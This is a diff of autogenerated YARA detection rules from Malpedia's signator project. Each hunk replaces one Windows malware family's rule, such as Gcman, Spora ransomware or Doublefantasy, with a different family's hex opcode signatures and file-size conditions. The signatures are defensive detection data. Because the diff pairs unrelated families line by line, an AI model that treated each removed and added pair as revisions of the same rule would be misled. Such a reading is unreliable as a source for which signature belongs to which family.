-rule MALPEDIA_Win_Gcman_Auto : FILE
+rule MALPEDIA_Win_Ramdo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c3dd4f52-d013-5409-b72e-5ec2ecf28c4b"
+		id = "5b8e6fef-0e3b-5ed2-888f-7434293b69d6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gcman_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramdo_auto.yar#L1-L104"
 		license_url = "N/A"
-		logic_hash = "646fd6c677e3b810f35c02ba75646dde96abf31f60dd053593e8964313629ea3"
+		logic_hash = "915394834672872c9dd5e507ba31a9e70d058b5fc9e0d5522912234c2f6ee339"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135576,32 +142589,32 @@ rule MALPEDIA_Win_Gcman_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a1???????? 8944240c c7442408???????? 8b85d0ebffff }
-		$sequence_1 = { 0375e0 01f1 81e959dc6b54 c1c10f 01d9 89c6 }
-		$sequence_2 = { 89442408 c7442404???????? 8d8528eaffff 890424 e8???????? }
-		$sequence_3 = { 8944240c c7442408???????? 89542404 8b45f4 890424 }
-		$sequence_4 = { c705????????00000000 c705????????00000000 e8???????? 85c0 7439 8d859ceaffff 89442410 }
-		$sequence_5 = { c745c400000000 e9???????? c744241c00000000 c744241800000000 c744241403000000 c744241000000000 }
-		$sequence_6 = { 83bdd4ebffff00 750c c7042401000000 e8???????? }
-		$sequence_7 = { 8b8558efffff 890424 e8???????? 83ec08 81bde8efffff03010000 7405 }
-		$sequence_8 = { 89c6 31d6 31ce 0375d8 01f3 81eb1b662419 c1c30b }
-		$sequence_9 = { 40 890424 e8???????? 8945fc 8b45fc 89442408 8b450c }
+		$sequence_0 = { 6813299e13 6a00 6a00 e8???????? }
+		$sequence_1 = { ff55f8 8945fc 837dfcff 7411 }
+		$sequence_2 = { 688fe57c18 6a03 6a00 e8???????? }
+		$sequence_3 = { 681186933f 6a03 6a00 e8???????? }
+		$sequence_4 = { 68b20cdc96 6a03 6a00 e8???????? }
+		$sequence_5 = { 6a00 6a00 ff95dcfeffff 8945fc }
+		$sequence_6 = { e8???????? 3db7000000 7405 8b45fc }
+		$sequence_7 = { 681b313f7d 6a03 6a00 e8???????? }
+		$sequence_8 = { 68e9b528b6 6a03 6a00 e8???????? }
+		$sequence_9 = { 68c29e34ea 6a03 6a00 e8???????? }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <548864
 }
-rule MALPEDIA_Win_Hyperbro_Auto : FILE
+rule MALPEDIA_Win_Wscspl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3941e796-a485-533f-bda6-3b99f666d1b3"
+		id = "f31d95be-4f0b-51e3-8f5f-15d1afc6eb9e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hyperbro_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wscspl_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "4bee21ef51c3ea4f0bd6259a2f8a9c95c3e4ba56a999c789fc7f134934b59561"
+		logic_hash = "4a0c5de1937bca874bba721d790f101d8b394ac870591bd7e9ae3e7dc3c9255d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135615,32 +142628,32 @@ rule MALPEDIA_Win_Hyperbro_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c0 6a40 66890479 e8???????? 6a40 }
-		$sequence_1 = { 8b4604 83c004 50 6a00 57 }
-		$sequence_2 = { 46 47 83e801 75f5 }
-		$sequence_3 = { 8d542428 68???????? c74424200c000000 c744242801000000 89542424 ff15???????? }
-		$sequence_4 = { 05ff000000 41 3d01feffff 0f871c010000 8bd5 2bd1 83fa01 }
-		$sequence_5 = { 50 8d4c2472 51 6689442474 }
-		$sequence_6 = { 6882000000 c706???????? e8???????? 6882000000 6a00 50 }
-		$sequence_7 = { e8???????? 83c404 83eb01 79ec 8b4f2c 51 e8???????? }
-		$sequence_8 = { 83c410 85ed 750e 8b7c2410 }
-		$sequence_9 = { 8b44242c 3bc3 7415 50 e8???????? 83c404 }
+		$sequence_0 = { 740b b855000000 66a3???????? 8b4c2404 51 }
+		$sequence_1 = { 8bcd 8d742414 8d442418 e8???????? 0fbf442414 50 8d4c241c }
+		$sequence_2 = { 8d442430 50 68???????? 6a00 6a00 c744244000000000 }
+		$sequence_3 = { 8b74240c 3bf7 7435 8b3d???????? 8d4900 8b4618 8b4004 }
+		$sequence_4 = { 8d642400 8b0c18 8d1418 bf05000000 }
+		$sequence_5 = { 3bc1 763a 03c9 3bc1 }
+		$sequence_6 = { 663bf8 752f e8???????? 8b0d???????? }
+		$sequence_7 = { 51 ff15???????? ff15???????? 6888130000 }
+		$sequence_8 = { 8b1d???????? 55 33c0 56 83c1fb }
+		$sequence_9 = { 687c230000 8d44240c 6a01 50 ff15???????? 687c230000 68c10b0000 }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <901120
 }
-rule MALPEDIA_Win_Murofet_Auto : FILE
+rule MALPEDIA_Win_Mongall_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7aa9a2c5-7064-5442-8638-24194df65bf5"
+		id = "df02f29b-7e4c-5b43-ac4d-a0a6d3cf6ee1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.murofet_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mongall_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "f1786a85d9dda8157fc7a7bca5587363f921b04e9ce6db23c0c6a6b000291064"
+		logic_hash = "09c3cb724c571a18322afe8d7b1ace648402df7ba3a7200f8ca50d9538f078c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135654,32 +142667,32 @@ rule MALPEDIA_Win_Murofet_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3c02 72e5 e8???????? a2???????? 84c0 7510 }
-		$sequence_1 = { 7504 3c02 72bf b001 }
-		$sequence_2 = { 3c02 72e5 e8???????? a2???????? }
-		$sequence_3 = { e8???????? e8???????? 3c02 72e5 e8???????? a2???????? 84c0 }
-		$sequence_4 = { 6a10 8d4624 55 50 ff15???????? 83c40c }
-		$sequence_5 = { c3 e8???????? 33c0 c20400 55 8bec 83ec68 }
-		$sequence_6 = { e8???????? 33c0 c20400 55 8bec 83ec68 53 }
-		$sequence_7 = { 6a10 8d4624 55 50 }
-		$sequence_8 = { 72e5 e8???????? a2???????? 84c0 7510 }
-		$sequence_9 = { ff15???????? c6443eff00 83f8ff 7509 56 }
+		$sequence_0 = { ff15???????? 8b400c 8b08 8b11 52 ff15???????? ba???????? }
+		$sequence_1 = { 85ff 747c 56 57 68???????? e8???????? 68???????? }
+		$sequence_2 = { f3a5 8bc8 8b8500d9ffff 83e103 43 }
+		$sequence_3 = { 59 8985a0fdffff 3bc1 0f87cb090000 ff2485e6574000 838de8fdffffff 89b594fdffff }
+		$sequence_4 = { 8bd8 83fbff 7448 68???????? e8???????? }
+		$sequence_5 = { e8???????? 8bfc 85ff 741d 8b8df4fdffff 56 }
+		$sequence_6 = { 56 8d45f0 33f6 50 8935???????? 8935???????? ff15???????? }
+		$sequence_7 = { 8b7df0 8bc7 5f 5e c60300 }
+		$sequence_8 = { 89b5e4fdffff 89b5e0fdffff 89b5c0fdffff 888deffdffff }
+		$sequence_9 = { 85f6 5e 741d 8d85f8feffff }
 
 	condition:
-		7 of them and filesize <622592
+		7 of them and filesize <199680
 }
-rule MALPEDIA_Win_Spora_Ransom_Auto : FILE
+rule MALPEDIA_Win_Downeks_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8b8ba74c-729e-5b95-8216-285cfd8906d9"
+		id = "45e36078-208a-5456-a83d-718f8ea60024"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spora_ransom_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.downeks_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "4f4859e5c4c90863719bd127457464f7d14cd9fd2e5234c00f8157e8748b1142"
+		logic_hash = "f8eb51f40370e6583f97bf6d6b06a56caeeec4252d81205dee3da42852ee5b8c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135693,71 +142706,71 @@ rule MALPEDIA_Win_Spora_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a3a 8d4641 668945f0 58 ff7510 668945f2 ff750c }
-		$sequence_1 = { f6c301 742c 6a3a 8d4641 668945f0 58 ff7510 }
-		$sequence_2 = { 897df4 85ff 747a 834d08ff }
-		$sequence_3 = { 834d08ff 8d45f8 50 57 8d4508 50 }
-		$sequence_4 = { 8d4641 668945f0 58 ff7510 668945f2 ff750c 33c0 }
-		$sequence_5 = { 33c0 668945f4 8d45f0 50 ff15???????? 50 8d45f0 }
-		$sequence_6 = { 0fb600 48 50 ff36 ff15???????? 85c0 }
-		$sequence_7 = { c745c800040000 33f6 8d45c4 50 ff15???????? 85c0 750e }
-		$sequence_8 = { 50 ff15???????? 85c0 7466 56 57 bf00020000 }
-		$sequence_9 = { 0bf0 57 ff15???????? 5f 8bc6 }
+		$sequence_0 = { e9???????? 8b8ddcfeffff 51 ff15???????? 8b8de0feffff 53 }
+		$sequence_1 = { c3 8b4108 c3 b8ccd00904 c3 8bff 55 }
+		$sequence_2 = { 8d4da0 e8???????? 8b4704 85c0 7409 83f8ff 7304 }
+		$sequence_3 = { e8???????? 8bd8 83c40c 85db 0f85cf000000 8b55c0 85d2 }
+		$sequence_4 = { 2bce 51 8bce 2b4d80 8d75a8 8d558c e8???????? }
+		$sequence_5 = { e9???????? 8d75b4 e9???????? 8d75d0 e9???????? 8bb560ffffff e9???????? }
+		$sequence_6 = { c785e8faffff07000000 89b5e4faffff 668995d4faffff e8???????? 8975fc 80fb5c 740a }
+		$sequence_7 = { c1ea08 0fb6d2 8b3c95a0c20804 0fb6d0 8b1495a0c60804 c1e808 0fb6c0 }
+		$sequence_8 = { ff15???????? 8bf0 83c42c 85f6 0f8547feffff 8b45f0 50 }
+		$sequence_9 = { 7488 8b4d0c 833900 7502 8901 8b4d10 8b13 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <1318912
 }
-rule MALPEDIA_Win_Unidentified_063_Auto : FILE
+rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d22cba4e-b95b-5578-ac95-09534bd7dc14"
-		date = "2022-11-21"
-		modified = "2022-11-25"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_063_auto.yar#L1-L124"
+		id = "fa527852-1102-5288-af99-f970a4826a1e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thanatos_ransom_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "14c180eecdf0e6fbf2b936d6c444ad58c2e649e1fa770106e8719057ee1aefbd"
+		logic_hash = "9c5c5f690fb079c4870ec7aa84eb31a9ced013d63674be92b3d66d32a913f4ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20221118"
-		malpedia_hash = "e0702e2e6d1d00da65c8a29a4ebacd0a4c59e1af"
-		malpedia_version = "20221125"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d43cf 83f819 770c 6689b550030000 e9???????? }
-		$sequence_1 = { 7363 488bf3 4c8d35dfc40100 83e63f 488beb 48c1fd06 48c1e606 }
-		$sequence_2 = { e8???????? 4863f8 488d3588800100 488bcb }
-		$sequence_3 = { 0f11442478 4c8b4708 488d442470 493bc0 7362 488b07 488d4c2470 }
-		$sequence_4 = { 4885c9 7407 48ff25???????? c3 48894c2408 57 4883ec50 }
-		$sequence_5 = { 83f801 7518 488b0d???????? 488d05bf5f0100 483bc8 7405 e8???????? }
-		$sequence_6 = { 8b8c96d0cd0200 8b534c 33c8 0fb6c1 }
-		$sequence_7 = { 0f84e7000000 488b0e 483bc8 740e 4885c9 7406 }
-		$sequence_8 = { 498bc2 418be9 48c1f806 488d0d708c0100 4183e23f 4903e8 }
-		$sequence_9 = { 488d158a5a0200 488bcb e8???????? 85c0 7499 488d157f5a0200 488bcb }
+		$sequence_0 = { 50 ff75e0 e8???????? 8b4df8 8bc7 5f 33cd }
+		$sequence_1 = { 8b00 8bc8 e8???????? c645fc0a }
+		$sequence_2 = { 50 e8???????? 56 8bd0 c645fc04 }
+		$sequence_3 = { 83c404 c60300 ff15???????? 50 e8???????? be14000000 }
+		$sequence_4 = { c745500f000000 c7454c00000000 c6453c00 83f810 7242 8b4d54 }
+		$sequence_5 = { 88441de8 43 8975e0 83fb04 757c 33f6 8a4435e8 }
+		$sequence_6 = { 8b0c85e0774300 8a06 46 8844392c 2bf2 eb14 }
+		$sequence_7 = { 0f8580000000 8b4508 dd00 ebc6 c745e0a0bd4200 e9???????? }
+		$sequence_8 = { 40 8d4de0 50 ff75e0 e8???????? 8b4df8 }
+		$sequence_9 = { e8???????? c70021000000 e9???????? 894ddc c745e034bf4200 e9???????? c745e030bf4200 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <516096
 }
-rule MALPEDIA_Win_Obscene_Auto : FILE
+rule MALPEDIA_Win_Furtim_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b0504e00-5509-5e10-82c6-a688a7937d0f"
+		id = "ff92451b-6d4d-5ce0-b407-7dcb5e6ae2c6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.obscene_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.furtim_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "62960aba55b9b132d0d487c37c4dacdc8a915363f3251233103a943c3f791f18"
+		logic_hash = "01fa4c0038a5d8991914e1859c3786c2de4cd564716dd7c7ecdf607d66ee4df9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135771,34 +142784,34 @@ rule MALPEDIA_Win_Obscene_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a06 68fc421010 ff35???????? 6aff ff15???????? ff7520 }
-		$sequence_1 = { 68e4401010 e8???????? 59 80a0e240101000 68e4401010 e8???????? 59 }
-		$sequence_2 = { 59 6820431010 68e4401010 e8???????? 59 59 85c0 }
-		$sequence_3 = { 0fbe00 83f809 7416 8b45fc 0fbe00 83f80d }
-		$sequence_4 = { 59 80a012109a0000 68???????? e8???????? }
-		$sequence_5 = { 50 e8???????? 59 68???????? 8d85ecf6ffff 50 }
-		$sequence_6 = { 8bec b8400d0300 e8???????? 68360d0300 ff7508 }
-		$sequence_7 = { 59 59 68c4501010 68d83f1010 6814110010 e8???????? }
-		$sequence_8 = { 0fbe00 83f82d 7409 8b45f8 40 8945f8 eb08 }
-		$sequence_9 = { 8365fc00 6a40 ff7508 ff15???????? 59 59 }
+		$sequence_0 = { 5f 5e c9 c20400 6a0c 68???????? e8???????? }
+		$sequence_1 = { 85c0 7c28 8d45fc 50 6a04 ff15???????? }
+		$sequence_2 = { c7867802000020d94000 c78600050000cb224000 c786f406000032164000 c746601c724400 c7869c06000032254000 c786fc020000ca254000 }
+		$sequence_3 = { 59 85c0 7408 8bce ff96cc050000 5f }
+		$sequence_4 = { 57 8bf1 8dbeb8000000 57 c7071c010000 ff96bc030000 }
+		$sequence_5 = { c9 c20800 8bff 55 8bec 83ec10 ff7508 }
+		$sequence_6 = { 0f85e3000000 39a9c0000000 7542 0fb781cc010000 663bc5 7405 663bc3 }
+		$sequence_7 = { 740f 837dfc01 7509 c686c405000001 eb0e 8bce ff96f8040000 }
+		$sequence_8 = { c745e4e4624400 c745e8ec624400 c745ecf4624400 c745f0fc624400 c745f404634400 c745f8???????? }
+		$sequence_9 = { 389f94010000 7546 80bf9501000015 7535 80bf960100005d 752c 8bce }
 
 	condition:
-		7 of them and filesize <2170880
+		7 of them and filesize <622592
 }
-rule MALPEDIA_Win_Sepulcher_Auto : FILE
+rule MALPEDIA_Win_Sierras_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "666ccc80-c712-59f8-bf12-61bac5486b32"
+		id = "605d6eab-f109-574e-b05c-a9ae83591a9c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sepulcher_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sierras_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "fea20fdb29a4a6cc26bf9baf225a8110e30f06d577e665b386797a74632bb5da"
+		logic_hash = "a564c7fabb45cfabecce73bb6168ff37faec379b0995b89fe8defbd9d38cf80c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -135810,32 +142823,38 @@ rule MALPEDIA_Win_Sepulcher_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 57 6a43 8bf9 58 6a4d 8db784480000 }
-		$sequence_1 = { 7515 6a04 8d45bc 50 e8???????? 8b4db8 8bd0 }
-		$sequence_2 = { 58 6a74 59 6a53 668945ea 58 }
-		$sequence_3 = { 0fb71408 8bc2 c1e002 66393408 75f1 }
-		$sequence_4 = { eb1a 8d45fc 50 8b04bd50de0110 ff743018 }
-		$sequence_5 = { 668945d2 b8???????? 66894db4 66894dba 66894dc0 }
-		$sequence_6 = { 56 57 6a5a 58 6a52 }
-		$sequence_7 = { c1f906 6bd030 8b45fc 03148d50de0110 8b00 894218 }
-		$sequence_8 = { 8bd8 895db0 8d0c4dffff0000 51 57 53 e8???????? }
-		$sequence_9 = { 58 6a33 668945e8 668945ea 58 6a32 668945ec }
+		$sequence_0 = { f3a4 8d8c2424050000 8d942430080000 51 }
+		$sequence_1 = { 56 8bf1 57 68???????? 8d4604 50 }
+		$sequence_2 = { 50 8d45e0 50 e8???????? eb0f 8b4dec }
+		$sequence_3 = { e8???????? 50 8d442430 50 8d8c24ec000000 }
+		$sequence_4 = { 0f8480030000 8b4dfc ff4df8 0fb611 8bcf }
+		$sequence_5 = { 7507 e8???????? eb05 e8???????? 0175f0 }
+		$sequence_6 = { 8bf1 e8???????? 8b8698010000 5e }
+		$sequence_7 = { 8bc8 83e103 f3a4 8bbc2410040000 }
+		$sequence_8 = { 03fb 3b7d10 72b0 8b5df0 834dfcff 8d4de0 }
+		$sequence_9 = { 8bf1 33db 6a01 6a78 }
+		$sequence_10 = { f2ae f7d1 2bf9 8d942480000000 8bf7 8bd9 8bfa }
+		$sequence_11 = { 8bf1 e8???????? 8b8608010000 5e c3 56 }
+		$sequence_12 = { 397d08 897dfc 0f8cc0000000 837d0801 7e58 }
+		$sequence_13 = { c7401880dd4000 e9???????? 83e00f c70613000000 894648 8b4648 85c0 }
+		$sequence_14 = { 58 0fb688c88c4000 6683bc8e7e0a000000 7506 }
+		$sequence_15 = { 3bf8 7cce 8b442418 83c520 40 83f803 89442418 }
 
 	condition:
-		7 of them and filesize <279552
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Doublefantasy_Auto : FILE
+rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fe1fe594-5930-58a6-8152-affb40d52392"
+		id = "8004678f-c7f1-56db-b368-30e9334ba4b0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublefantasy_auto.yar#L1-L176"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bruh_wiper_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "c2743e8ba6874f5905b98f01968f640324da6dd46040ee9e2e2dc712fae3b7b1"
+		logic_hash = "26b32a2c0d923fc99fb91e4beb18e36e72d9c523fef8bdb0bb63ddd5fd11ff5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135849,38 +142868,32 @@ rule MALPEDIA_Win_Doublefantasy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75e0 e8???????? 8945c4 3d05000780 7458 3d09000c80 }
-		$sequence_1 = { 770b 0fb6c0 8a80ad8c2700 eb02 32c0 84c0 7410 }
-		$sequence_2 = { 8a80908c2700 eb02 b03d 884103 c3 55 }
-		$sequence_3 = { 33d2 8a5001 c1ee06 83e20f c1e202 0bd6 8a92908c2700 }
-		$sequence_4 = { ff750c 8b4622 03c6 50 e8???????? 83c40c be???????? }
-		$sequence_5 = { 51 68???????? ff750c 8b1d???????? ffd3 83c420 ff75e0 }
-		$sequence_6 = { 8a92908c2700 885101 7e1c 0fb67002 }
-		$sequence_7 = { ff45f8 3c2b 720f 3c7a 770b 0fb6c0 8a80ad8c2700 }
-		$sequence_8 = { 0bd6 837c241001 8a92908c2700 885101 }
-		$sequence_9 = { 8a92908c2700 eb02 b23d 837c241002 885102 }
-		$sequence_10 = { 85c0 7c6a 8b45e4 8b08 8d954cffffff }
-		$sequence_11 = { e8???????? 8b4605 c68094a3270000 ff35???????? ff35???????? e8???????? 83c414 }
-		$sequence_12 = { a5 a5 a5 66a5 6a3d 59 }
-		$sequence_13 = { 68???????? 68???????? ff15???????? 83c40c 837de000 0f8660010000 }
-		$sequence_14 = { ff750c ff7508 ff15???????? 8945a8 3bc3 752b }
-		$sequence_15 = { 33ff eb06 56 e8???????? }
+		$sequence_0 = { e8???????? 83c40c be01080000 0f1f8000000000 }
+		$sequence_1 = { 83ee01 75e3 8b4dfc 5f 5e }
+		$sequence_2 = { 8d45f4 57 50 ff15???????? ff15???????? }
+		$sequence_3 = { 68b40200c0 ffd6 8b4dfc 5f 33cd 5e }
+		$sequence_4 = { 6a00 8d85f8fdffff 50 6800020000 8d85fcfdffff 50 }
+		$sequence_5 = { 68???????? 57 ffd3 6800020000 8d85fcfdffff 6a00 }
+		$sequence_6 = { 50 ffd6 8bf0 8d45fb 50 6a00 6a01 }
+		$sequence_7 = { 6800200000 68???????? 57 ffd3 6800020000 8d85fcfdffff }
+		$sequence_8 = { e8???????? 83c40c be01080000 0f1f8000000000 6a00 }
+		$sequence_9 = { 50 ffd6 68???????? 68???????? 8bf8 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Atmspitter_Auto : FILE
+rule MALPEDIA_Win_Tigerlite_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9f02df1-a803-5665-939b-8200861b4172"
+		id = "aa691ec3-b883-5f5c-8994-9e33da37724e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmspitter_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tigerlite_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "97d22d23e6b57a565b78835f63d6efbbbb7ac3961285afa1ce44048c0fb5a727"
+		logic_hash = "fcf8f4ae129308f814ca77b619fbfadd3ec5da4949cb79481c9fac330ba09f68"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135894,32 +142907,38 @@ rule MALPEDIA_Win_Atmspitter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a900800000 7422 68???????? e8???????? 83ec24 }
-		$sequence_1 = { 8be5 5d c3 8b5c2420 33c0 89442450 }
-		$sequence_2 = { 56 89442418 e8???????? 83c40c 8bf0 8974244c }
-		$sequence_3 = { a4 c744241831323000 88542422 c744242800000080 89442430 }
-		$sequence_4 = { 8b442410 50 53 8d4c2468 68???????? 51 ff15???????? }
-		$sequence_5 = { c3 8b04cd14c04000 5d c3 }
-		$sequence_6 = { 8975e0 8db190c84000 8975e4 eb2b 8a4601 }
-		$sequence_7 = { 6a03 6816011200 68???????? ff15???????? 6a02 6a00 8bf8 }
-		$sequence_8 = { 83c404 8d442420 50 ff15???????? a900800000 7422 }
-		$sequence_9 = { 6a00 57 ff15???????? 6a00 8d45fc }
+		$sequence_0 = { c1f805 83e71f c1e706 8b0485489d4100 83c00c 03c7 50 }
+		$sequence_1 = { 8b85e0f7ffff 85c0 751d 56 ff15???????? b832000000 5f }
+		$sequence_2 = { 8b8d24e5ffff 50 8b8528e5ffff 8b0485489d4100 }
+		$sequence_3 = { 85c0 740d ff15???????? b8c8000000 eb65 }
+		$sequence_4 = { ff15???????? cc 4c8d4510 488d15bbc80100 }
+		$sequence_5 = { 41b8ff030000 c6859000000000 e8???????? 488d1528bc0100 488d8d90000000 e8???????? }
+		$sequence_6 = { 33c0 8bbdbcfdffff 0fbebcc7f8214100 8bc7 89bdbcfdffff 8bbde4fdffff }
+		$sequence_7 = { 668986b8000000 668986be010000 c7466878874100 83a6b803000000 6a0d e8???????? }
+		$sequence_8 = { 4863c2 4803d8 eb61 4b8b84ea604a0200 42f644300848 743e 48ffc3 }
+		$sequence_9 = { 663955d8 7442 668933 8a45d8 4b8b8cea604a0200 4288443109 }
+		$sequence_10 = { 8b3495489d4100 8a441e04 84c0 0f8957020000 }
+		$sequence_11 = { 488bcb 488bf8 e8???????? 4885ff 0f8405040000 4c8d4530 488d0da1a40100 }
+		$sequence_12 = { 488d4c2440 418bd6 e8???????? e9???????? }
+		$sequence_13 = { b9e5000000 8bd8 83e303 e8???????? }
+		$sequence_14 = { 3bfa 7556 8bcb e8???????? 53 }
+		$sequence_15 = { 8d0c00 894dec eb38 8b45f4 8b0485489d4100 }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <349184
 }
-rule MALPEDIA_Win_Agfspy_Auto : FILE
+rule MALPEDIA_Win_Remsec_Strider_Auto : FILE
 {
 	meta:
